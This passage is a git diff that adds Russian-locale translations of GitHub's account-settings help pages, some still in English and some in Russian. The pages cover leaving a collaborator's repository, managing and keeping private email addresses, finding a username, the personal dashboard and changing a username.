Removing yourself from a collaborator's repository +intro: 'If you no longer want to be a collaborator on someone else''s repository, you can remove yourself.' +redirect_from: + - /leave-a-collaborative-repo + - /leave-a-repo + - /articles/removing-yourself-from-a-collaborator-s-repo + - /articles/removing-yourself-from-a-collaborator-s-repository + - /articles/removing-yourself-from-a-collaborators-repository + - /github/setting-up-and-managing-your-github-user-account/removing-yourself-from-a-collaborators-repository + - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts + - Repositories +shortTitle: Remove yourself +--- +{% data reusables.user-settings.access_settings %} +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +2. In the "Code, planning, and automation" section of the sidebar, click **{% octicon "repo" aria-label="The repo icon" %} Repositories**. +{% else %} +2. In the left sidebar, click **Repositories**. + ![Repositories tab](/assets/images/help/settings/settings-sidebar-repositories.png) +{% endif %} +3. Next to the repository you want to leave, click **Leave**. + ![Leave button](/assets/images/help/repository/repo-leave.png) +4. Read the warning carefully, then click "I understand, leave this repository." + ![Dialog box warning you to leave](/assets/images/help/repository/repo-leave-confirmation.png) diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account.md new file mode 100644 index 000000000000..0d8d4fd6b123 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account.md @@ -0,0 +1,37 @@ +--- +title: Adding an email address to your GitHub account +intro: '{% data variables.product.product_name %} allows you to add as many email addresses to your account as you like. If you set an email address in your local Git configuration, you will need to add it to your account settings in order to connect your commits to your account. For more information about your email address and commits, see "[Setting your commit email address](/articles/setting-your-commit-email-address/)."' +redirect_from: + - /articles/adding-an-email-address-to-your-github-account + - /github/setting-up-and-managing-your-github-user-account/adding-an-email-address-to-your-github-account + - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - Accounts + - Notifications +shortTitle: Add an email address +--- +{% ifversion fpt or ghec %} + +{% note %} + +**Notes**: + - {% data reusables.user-settings.no-verification-disposable-emails %} + - If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you cannot make changes to your email address on {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise-accounts.emu-more-info-account %} + +{% endnote %} + +{% endif %} + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.emails %} +{% data reusables.user-settings.add_and_verify_email %} +{% data reusables.user-settings.select_primary_email %} + +## Further reading + +- "[Managing email preferences](/articles/managing-email-preferences/)" diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address.md new file mode 100644 index 000000000000..b7e112578d52 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address.md @@ -0,0 +1,29 @@ +--- +title: Blocking command line pushes that expose your personal email address +intro: 'If you''ve chosen to keep your email address private when performing web-based operations, you can also choose to block command line pushes that may expose your personal email address.' +redirect_from: + - /articles/blocking-command-line-pushes-that-expose-your-personal-email-address + - /github/setting-up-and-managing-your-github-user-account/blocking-command-line-pushes-that-expose-your-personal-email-address + - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address +versions: + fpt: '*' + ghec: '*' +topics: + - Accounts + - Notifications +shortTitle: Block push with personal email +--- +When you push commits from the command line, the email address that you've [set in Git](/articles/setting-your-commit-email-address) is associated with your commits. If you enable this setting, each time you push to GitHub, we’ll check the most recent commit. If the author email on that commit is a private email on your GitHub account, we will block the push and warn you about exposing your private email. + +{% data reusables.user-settings.about-commit-email-addresses %} + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.emails %} +{% data reusables.user-settings.keeping_your_email_address_private %} +4. To keep your email address private in commits you push from the command line, select **Block command line pushes that expose my email**. +![Option to block command line pushes that expose your emails](/assets/images/help/settings/email_privacy_block_command_line_pushes.png) + +## Further reading + +- "[Setting your commit email address](/articles/setting-your-commit-email-address)" diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address.md new file mode 100644 index 000000000000..de0e77b85f2a --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address.md @@ -0,0 +1,33 @@ +--- +title: Changing your primary email address +intro: You can change the email address associated with your personal account at any time. +redirect_from: + - /articles/changing-your-primary-email-address + - /github/setting-up-and-managing-your-github-user-account/changing-your-primary-email-address + - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/changing-your-primary-email-address + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/changing-your-primary-email-address +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - Accounts + - Notifications +shortTitle: Primary email address +--- +{% note %} + +**Note:** You cannot change your primary email address to an email that is already set to be your backup email address. + +{% endnote %} + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.emails %} +3. If you'd like to add a new email address to set as your primary email address, under "Add email address", type a new email address and click **Add**. + ![Add another email address button](/assets/images/help/settings/add_another_email_address.png) +4. Under "Primary email address", use the drop-down menu to click the email address you'd like to set as your primary email address, and click **Save**. + ![Set as primary button](/assets/images/help/settings/set_as_primary_email.png) +5. To remove the old email address from your account, next to the old email, click {% octicon "trash" aria-label="The trash symbol" %}. +{% ifversion fpt or ghec %} +6. Verify your new primary email address. Without a verified email address, you won't be able to use all of {% data variables.product.product_name %}'s features. For more information, see "[Verifying your email address](/articles/verifying-your-email-address)." +{% endif %} diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/index.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/index.md new file mode 100644 index 000000000000..a45d2f7f7748 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/index.md @@ -0,0 +1,28 @@ +--- +title: Managing email preferences +intro: 'You can add or change the email addresses associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. You can also manage emails you receive from {% data variables.product.product_name %}.' +redirect_from: + - /categories/managing-email-preferences + - /articles/managing-email-preferences + - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts + - Notifications +children: + - /adding-an-email-address-to-your-github-account + - /changing-your-primary-email-address + - /setting-a-backup-email-address + - /setting-your-commit-email-address + - /blocking-command-line-pushes-that-expose-your-personal-email-address + - /remembering-your-github-username-or-email + - /types-of-emails-github-sends + - /managing-marketing-emails-from-github +shortTitle: Manage email preferences +--- + diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/managing-marketing-emails-from-github.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/managing-marketing-emails-from-github.md new file mode 100644 index 000000000000..3f75314c015f --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/managing-marketing-emails-from-github.md @@ -0,0 +1,35 @@ +--- +title: Managing marketing emails from GitHub +intro: 'In addition to notifications and account emails, {% data variables.product.prodname_dotcom %} occasionally sends marketing emails with news and information about our products. If you unsubscribe from existing marketing emails, you won''t be included in future campaigns unless you change your {% data variables.product.prodname_dotcom %} email settings.' +redirect_from: + - /articles/managing-marketing-emails-from-github + - /github/setting-up-and-managing-your-github-user-account/managing-marketing-emails-from-github + - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/managing-marketing-emails-from-github + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/managing-marketing-emails-from-github +versions: + fpt: '*' + ghec: '*' +topics: + - Accounts + - Notifications +shortTitle: Marketing emails +--- +## Unsubscribing from {% data variables.product.prodname_dotcom %} marketing emails + +{% tip %} + +**Tip:** If you unsubscribe from all marketing emails and then subscribe to the Explore newsletter, you'll only receive the Explore newsletter, and won't receive other marketing email. + +{% endtip %} + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.emails %} +3. Under *Email preferences*, select **Only receive account related emails, and those I subscribe to**. + ![Screenshot of opting out of marketing email](/assets/images/help/notifications/email_preferences.png) +4. Click **Save email preferences**. + ![Save email preferences button](/assets/images/help/notifications/save_email_preferences.png) + +## Further reading + +- "[Types of emails GitHub sends](/articles/types-of-emails-github-sends)" +- "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)" diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/remembering-your-github-username-or-email.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/remembering-your-github-username-or-email.md new file mode 100644 index 000000000000..d8d8d78c24eb --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/remembering-your-github-username-or-email.md @@ -0,0 +1,76 @@ +--- +title: Remembering your GitHub username or email +intro: 'Are you signing in to {% data variables.location.product_location %} for the first time in a while? If so, welcome back! If you can''t remember the username for your personal account on {% data variables.product.product_name %}, you can try these methods for remembering it.' +redirect_from: + - /articles/oh-noes-i-ve-forgotten-my-username-email + - /articles/oh-noes-i-ve-forgotten-my-username-or-email + - /articles/remembering-your-github-username-or-email + - /github/setting-up-and-managing-your-github-user-account/remembering-your-github-username-or-email + - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - Accounts + - Notifications +shortTitle: Find your username or email +--- +{% mac %} + +## {% data variables.product.prodname_desktop %} users + +1. In the **GitHub Desktop** menu, click **Preferences**. +2. In the Preferences window, verify the following: + - To view your {% data variables.product.product_name %} username, click **Accounts**. + - To view your Git email, click **Git**. Note that this email is not guaranteed to be [your primary {% data variables.product.product_name %} email](/articles/changing-your-primary-email-address). + +{% endmac %} + +{% windows %} + +## {% data variables.product.prodname_desktop %} users + +1. In the **File** menu, click **Options**. +2. In the Options window, verify the following: + - To view your {% data variables.product.product_name %} username, click **Accounts**. + - To view your Git email, click **Git**. Note that this email is not guaranteed to be [your primary {% data variables.product.product_name %} email](/articles/changing-your-primary-email-address). + +{% endwindows %} + +## Finding your username in your `user.name` configuration + +During set up, you may have [set your username in Git](/github/getting-started-with-github/setting-your-username-in-git). If so, you can review the value of this configuration setting: + +```shell +$ git config user.name +# View the setting +YOUR_USERNAME +``` + +## Finding your username in the URL of remote repositories + +If you have any local copies of personal repositories you have created or forked, you can check the URL of the remote repository. + +{% tip %} + +**Tip**: This method only works if you have an original repository or your own fork of someone else's repository. If you clone someone else's repository, their username will show instead of yours. Similarly, organization repositories will show the name of the organization instead of a particular user in the remote URL. + +{% endtip %} + +```shell +$ cd YOUR_REPOSITORY +# Change directories to the initialized Git repository +$ git remote -v +origin https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/YOUR_REPOSITORY.git (fetch) +origin https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/YOUR_REPOSITORY.git (push) +``` + +Your user name is what immediately follows the `https://{% data variables.command_line.backticks %}/`. + +{% ifversion fpt or ghec %} +## Further reading + +- "[Verifying your email address](/articles/verifying-your-email-address)" +{% endif %} diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-a-backup-email-address.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-a-backup-email-address.md new file mode 100644 index 000000000000..f2ac3e2cd624 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-a-backup-email-address.md @@ -0,0 +1,28 @@ +--- +title: Setting a backup email address +intro: 'Use a backup email address as an additional destination for security-relevant account notifications{% ifversion not ghae %} and to securely reset your password if you can no longer access your primary email address{% endif %}.' +redirect_from: + - /articles/setting-a-backup-email-address + - /github/setting-up-and-managing-your-github-user-account/setting-a-backup-email-address + - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-a-backup-email-address + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-a-backup-email-address +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts + - Notifications +shortTitle: Set backup email address +--- +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.emails %} +3. Under "Backup email address," select the address you want to set as your backup email address using the drop-down menu. +![Backup email address](/assets/images/help/settings/backup-email-address.png) +4. Click **Save**. + +## Further reading + +- "[Managing email preferences](/articles/managing-email-preferences/)" +- "[Updating your GitHub access credentials](/articles/updating-your-github-access-credentials/)" diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address.md new file mode 100644 index 000000000000..d7da946ab759 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address.md @@ -0,0 +1,105 @@ +--- +title: Setting your commit email address +intro: 'You can set the email address that is used to author commits on {% data variables.location.product_location %} and on your computer.' +redirect_from: + - /articles/keeping-your-email-address-private + - /articles/setting-your-commit-email-address-on-github + - /articles/about-commit-email-addresses + - /articles/git-email-settings + - /articles/setting-your-email-in-git + - /articles/set-your-user-name-email-and-github-token + - /articles/setting-your-commit-email-address-in-git + - /articles/setting-your-commit-email-address + - /github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address + - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts + - Notifications +shortTitle: Set commit email address +--- +## About commit email addresses + +{% data variables.product.prodname_dotcom %} uses your commit email address to associate commits with your account on {% data variables.location.product_location %}. You can choose the email address that will be associated with the commits you push from the command line as well as web-based Git operations you make. + +For web-based Git operations, you can set your commit email address on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. For commits you push from the command line, you can set your commit email address in Git. + +{% ifversion fpt or ghec %}Any commits you made prior to changing your commit email address are still associated with your previous email address.{% else %}After changing your commit email address on {% data variables.product.product_name %}, the new email address will be visible in all of your future web-based Git operations by default. Any commits you made prior to changing your commit email address are still associated with your previous email address.{% endif %} + +{% ifversion fpt or ghec %} + +{% note %} + +**Note**: {% data reusables.user-settings.no-verification-disposable-emails %} + +{% endnote %} + +{% endif %} + +{% ifversion fpt or ghec %}If you'd like to keep your personal email address private, you can use a `noreply` email address from {% data variables.product.product_name %} as your commit email address. To use your `noreply` email address for commits you push from the command line, use that email address when you set your commit email address in Git. To use your `noreply` address for web-based Git operations, set your commit email address on GitHub and choose to **Keep my email address private**. + +You can also choose to block commits you push from the command line that expose your personal email address. For more information, see "[Blocking command line pushes that expose your personal email](/articles/blocking-command-line-pushes-that-expose-your-personal-email-address)."{% endif %} + +To ensure that commits are attributed to you and appear in your contributions graph, use an email address that is connected to your account on {% data variables.location.product_location %}{% ifversion fpt or ghec %}, or the `noreply` email address provided to you in your email settings{% endif %}. {% ifversion not ghae %}For more information, see "[Adding an email address to your {% data variables.product.prodname_dotcom %} account](/github/setting-up-and-managing-your-github-user-account/adding-an-email-address-to-your-github-account)."{% endif %} + +{% ifversion fpt or ghec %} + +{% note %} + +**Note:** If you created your account on {% data variables.location.product_location %} _after_ July 18, 2017, your `noreply` email address for {% data variables.product.product_name %} is an ID number and your username in the form of ID+USERNAME@users.noreply.github.com. If you created your account on {% data variables.location.product_location %} _prior to_ July 18, 2017, your `noreply` email address from {% data variables.product.product_name %} is USERNAME@users.noreply.github.com. You can get an ID-based `noreply` email address for {% data variables.product.product_name %} by selecting (or deselecting and reselecting) **Keep my email address private** in your email settings. + +{% endnote %} + +If you use your `noreply` email address for {% data variables.product.product_name %} to make commits and then [change your username](/articles/changing-your-github-username), those commits will not be associated with your account on {% data variables.location.product_location %}. This does not apply if you're using the ID-based `noreply` address from {% data variables.product.product_name %}. For more information, see "[Changing your {% data variables.product.prodname_dotcom %} username](/articles/changing-your-github-username)."{% endif %} + +## Setting your commit email address on {% data variables.product.prodname_dotcom %} + +{% data reusables.files.commit-author-email-options %} + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.emails %} +{% data reusables.user-settings.add_and_verify_email %} +{% data reusables.user-settings.select_primary_email %}{% ifversion fpt or ghec %} +{% data reusables.user-settings.keeping_your_email_address_private %}{% endif %} + +## Setting your commit email address in Git + +You can use the `git config` command to change the email address you associate with your Git commits. The new email address you set will be visible in any future commits you push to {% data variables.location.product_location %} from the command line. Any commits you made prior to changing your commit email address are still associated with your previous email address. + +### Setting your email address for every repository on your computer + +{% data reusables.command_line.open_the_multi_os_terminal %} +2. {% data reusables.user-settings.set_your_email_address_in_git %} + ```shell + $ git config --global user.email "YOUR_EMAIL" + ``` +3. {% data reusables.user-settings.confirm_git_email_address_correct %} + ```shell + $ git config --global user.email + email@example.com + ``` +4. {% data reusables.user-settings.link_email_with_your_account %} + +### Setting your email address for a single repository + +{% data variables.product.product_name %} uses the email address set in your local Git configuration to associate commits pushed from the command line with your account on {% data variables.location.product_location %}. + +You can change the email address associated with commits you make in a single repository. This will override your global Git configuration settings in this one repository, but will not affect any other repositories. + +{% data reusables.command_line.open_the_multi_os_terminal %} +2. Change the current working directory to the local repository where you want to configure the email address that you associate with your Git commits. +3. {% data reusables.user-settings.set_your_email_address_in_git %} + ```shell + $ git config user.email "YOUR_EMAIL" + ``` +4. {% data reusables.user-settings.confirm_git_email_address_correct %} + ```shell + $ git config user.email + email@example.com + ``` +5. {% data reusables.user-settings.link_email_with_your_account %} diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/types-of-emails-github-sends.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/types-of-emails-github-sends.md new file mode 100644 index 000000000000..543ac6e072c2 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/types-of-emails-github-sends.md @@ -0,0 +1,60 @@ +--- +title: 'Типы электронных писем, отправляемых GitHub' +intro: 'Существует несколько типов сообщений электронной почты, которые можно получить из {% data variables.product.product_name %}, включая уведомления, данные учетной записи, приглашения к исследованию клиентов и маркетинговые информационные материалы.' +redirect_from: + - /articles/types-of-emails-github-sends + - /github/setting-up-and-managing-your-github-user-account/types-of-emails-github-sends + - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/types-of-emails-github-sends + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/types-of-emails-github-sends +versions: + fpt: '*' + ghec: '*' +topics: + - Accounts + - Notifications +shortTitle: Emails from GitHub +ms.openlocfilehash: 0e03038c272f2815fd4427f73110641aa57b7028 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145165138' +--- +## Электронные уведомления + +Можно получать некоторые или все уведомления о действиях по электронной почте. Дополнительные сведения см. в разделе [Сведения об уведомлениях](/github/managing-subscriptions-and-notifications-on-github/about-notifications). Электронные уведомления могут включать: + +- действия, связанные с безопасностью, в репозиториях, к которым у вас есть доступ как администратора +- действия в репозиториях, за которыми вы следите +- беседы, в которых вы участвуете +- беседы, в которых вы были @mentioned +- отправки запросов на вытягивание, в которых вы участвуете +- приглашения для сотрудничества в организации или репозитории +- собственные действия, например, открытие, комментирование или закрытие проблем и запросов на вытягивание. + +Можно также выбрать, какой тип обновлений по электронной почте вы хотите получать относительно бесед, в которых участвуете или за которыми следите. Дополнительные сведения см. в разделе [Настройка уведомлений](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications). + +## Сообщения электронной почты в учетной записи + +Если вы выполнили обновление до платных продуктов или функций, то получите квитанции о выставлении счетов на основной адрес электронной почты учетной записи. Дополнительные сведения см. в разделе [Настройка электронной почты для выставления счетов](/articles/setting-your-billing-email). + +## Электронные письма с опросами клиентов + +{% data variables.product.product_name %} иногда ищет клиентов для участия в сеансах опросов, чтобы помочь сделать GitHub лучше. Они проводятся удаленно, открыты для клиентов всего мира и могут включать: + +- опросы для получения отзывов +- исследовательские интервью +- сеансы тестирования удобства использования +- предварительный просмотр ранних прототипов или концепций. + +Такие электронные письма редки, и можно выбрать, участвовать или нет. Если интересны дополнительные возможности для участия в исследовательских сеансах, можно добавиться в панель исследования клиентов GitHub. Дополнительные сведения см. в разделе [Исследования пользовательского опыта GitHub](https://cxr.github.com). + +## Маркетинговые электронные письма + +{% data variables.product.product_name %} иногда отправляет следующие типы маркетинговых электронных писем: + +- советы и рекомендации по началу работы с учетной записью +- настраиваемая информация о привлекательных проектах и новых возможностях +- информационные бюллетени, на которые вы подписаны, например {% data variables.explore.explore_github %} + +Дополнительные сведения см. в разделе [Управление маркетинговыми электронными письмами от GitHub](/articles/managing-marketing-emails-from-github). diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/about-your-personal-dashboard.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/about-your-personal-dashboard.md new file mode 100644 index 000000000000..428caba2d16a --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/about-your-personal-dashboard.md @@ -0,0 +1,99 @@ +--- +title: Сведения о личной панели мониторинга +redirect_from: + - /hidden/about-improved-navigation-to-commonly-accessed-pages-on-github + - /articles/opting-into-the-public-beta-for-a-new-dashboard + - /articles/about-your-personal-dashboard + - /github/setting-up-and-managing-your-github-user-account/about-your-personal-dashboard + - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard +intro: 'Вы можете посетить свою личную панель мониторинга, чтобы отслеживать проблемы и запросы на вытягивание, над которыми вы работаете или на которые подписаны, переходить к своим главным репозиториям и страницам команд, следить за обновлениями последних действий в организациях и репозиториях, на которые вы подписаны, и изучить рекомендуемые репозитории.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts +shortTitle: Your personal dashboard +ms.openlocfilehash: ee22085e669eedec2e0a9f298cc4d5ad144316c6 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146179154' +--- +## Доступ к личной панели мониторинга + +Личная панель мониторинга — это первая страница, которую вы видите при входе в {% data variables.product.product_name %}. + +Чтобы получить доступ к личной панели мониторинга после входа, щелкните {% octicon "mark-github" aria-label="The github octocat logo" %} в левом верхнем углу любой страницы в {% data variables.product.product_name %}. + +## Поиск последних действий + +В разделе "Последние действия" веб-канала новостей можно быстро находить и отслеживать недавно обновленные проблемы и запросы на вытягивание, над которыми вы работаете. В разделе "Последние действия" можно просмотреть до 4 последних обновлений за последние две недели. + +{% data reusables.dashboard.recent-activity-qualifying-events %} + +## Поиск основных репозиториев и команд + +Слева на панели мониторинга можно получить доступ к основным репозиториям и командам, которые вы используете. + +![список репозиториев и команд из разных организаций](/assets/images/help/dashboard/repositories-and-teams-from-personal-dashboard.png) + +Список основных репозиториев создается автоматически и может включать любой репозиторий, с которым вы взаимодействовали, независимо от того, принадлежит ли он непосредственно вашей учетной записи. Взаимодействие включает фиксацию и открытие или комментирование проблем и запросов на вытягивание. Список основных репозиториев невозможно изменить, но через 4 месяца после последнего взаимодействия репозитории удаляются из списка. + +Можно также найти список недавно посещенных репозиториев, команд и досок проектов, щелкнув строку поиска в верхней части любой страницы в {% data variables.product.product_name %}. + +## Обновление с использованием действий из сообщества + +{% ifversion for-you-feed %} В главном разделе панели мониторинга есть два канала действий: + +- Далее: действия пользователей, на которых вы подписаны, и репозиториев, за которыми вы следите. +- Для вас: действия и рекомендации на основе вашей сети {% data variables.product.product_name %}. + +### Следующий веб-канал + +В этом веб-канале показаны действия репозиториев и пользователей, к которым вы проявили прямой интерес, посредством подписки на них или просмотра репозитория. Например, вы увидите обновления, если пользователь, на которого вы подписаны: + +{% else %} В разделе "Все действия" веб-канала новостей можно просматривать обновления от репозиториев, за которыми вы следите, и пользователей, на которых вы подписаны. + +Вы увидите обновления на веб-канале новостей, когда пользователь, на которого вы подписаны: {% endif %} + + +- Отмечает репозиторий звездочкой. +- Подписывается на другого пользователя.{% ifversion fpt or ghes or ghec %} +- Создает общедоступный репозиторий. {% endif %} +- Открывает запрос на вытягивание с меткой "нужна помощь" или "проблема, возникшая впервые" в репозитории, за которым вы следите. +- Отправляет фиксации в репозитории, за которым вы следите.{% ifversion fpt or ghes or ghec %} +- Создает вилку для общедоступного репозитория. {% endif %} +- Публикует новый выпуск. + +Дополнительные сведения о подписчиках и просмотре репозиториев см. в разделах [Подписчики](/get-started/exploring-projects-on-github/following-people) и [Социальность](/get-started/quickstart/be-social). + +{% ifversion for-you-feed %} +### Для вашего веб-канала + +{% note %} + +**Примечание.** Эта новая вкладка в настоящее время доступна в общедоступной бета-версии и может быть изменена. + +{% endnote %} + +В этом веб-канале показаны действия и рекомендации на основе вашей сети в {% data variables.product.product_name %}. Он предназначен, чтобы предоставлять обновления, которые вас вдохновят, будут держать вас в курсе и помогут находить новые сообщества, частью которых вы хотите быть. Сеть включает в себя следующее: + +- репозитории, отмеченные звездочками; +- репозитории, в которые вы внесли свой вклад; +- пользователей, на которых вы подписаны или которым оказываете спонсорскую поддержку; +- пользователей, с которыми вы совместно работали; +- организации, на которые вы подписаны. + +{% endif %} + +## Изучение рекомендуемых репозиториев + +Справа на панели мониторинга в разделе "Изучение репозиториев" можно изучить рекомендуемые репозитории в сообществах. Рекомендации основаны на репозиториях, которые вы посетили или отметили звездочками, людях, на которых вы подписаны, и действиях в репозиториях, к которым у вас есть доступ. {% ifversion fpt or ghec %} Дополнительные сведения см. в статье [Поиск способов участия в работе над открытым кодом в {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github).{% endif %} + +## Дополнительные материалы + +- [Сведения о панели мониторинга вашей организации](/articles/about-your-organization-dashboard) diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username.md new file mode 100644 index 000000000000..aad324c45bfa --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username.md @@ -0,0 +1,97 @@ +--- +title: Changing your GitHub username +intro: 'You can change the username for your account on {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.location.product_location %} if your instance uses built-in authentication{% endif %}.' +redirect_from: + - /articles/how-to-change-your-username + - /articles/changing-your-github-user-name + - /articles/renaming-a-user + - /articles/what-happens-when-i-change-my-username + - /articles/changing-your-github-username + - /github/setting-up-and-managing-your-github-user-account/changing-your-github-username + - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - Accounts +shortTitle: Change your username +--- + +{% ifversion ghec or ghes %} + +{% note %} + +{% ifversion ghec %} + +**Note**: Members of an {% data variables.enterprise.prodname_emu_enterprise %} cannot change usernames. Your enterprise's IdP administrator controls your username for {% data variables.product.product_name %}. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)." + +{% elsif ghes %} + +**Note**: If you sign into {% data 